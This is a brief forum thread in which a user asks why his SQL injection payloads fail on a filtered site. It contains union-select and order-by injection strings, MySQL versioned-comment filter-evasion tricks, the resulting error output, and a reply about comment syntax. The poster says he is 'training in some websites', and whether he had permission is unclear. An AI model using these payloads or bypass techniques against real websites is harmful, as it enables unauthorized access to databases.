Thread: [Why when adding filter in SQL injection payload, injection won't work](#)

MrBr - June 26, 2018, 10:45 am

Hello, I have a question.

While i'm training in some websites, i faced this situation.

When doing

```
id=-2"+or(^)der+by+5--+
```

Then

```
id=-2"+un(^)ion+sel(^)ect+1,2,3,4,5--+
```

Here i get Not Acceptable!

So i add some filters like `/*!50000(word)*/`

```
id=-2"+/*!50000un(^)ion*/+sel(^)ect+1,2,3,4,5--+
```

Or filter both 'un(^)ion' and 'sel(^)ect'

It gives me error

Code You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5-- -" ORDER BY id LIMIT 50' at line 1

I don't know exactly what should i do, It came to my mind that when adding filter maybe the SQL payload gone wrong or readed wrong! how can i solve it.

Thanks Advanced.

<http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/comments.html>

From a "-- " sequence to the end of the line. In MySQL, the "-- " (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on).

That may be your issue.

Thank you for your reply (Jun 27, 2018 09:04 AM)EasyGhost Wrote: [\[CITE\]](#) ...

Thank you for your reply, I have tried to some styles

This, (--) and (--+), (+--+), (as `).

but nothing work.

Up, if there is someone want to add something i will be so happy.
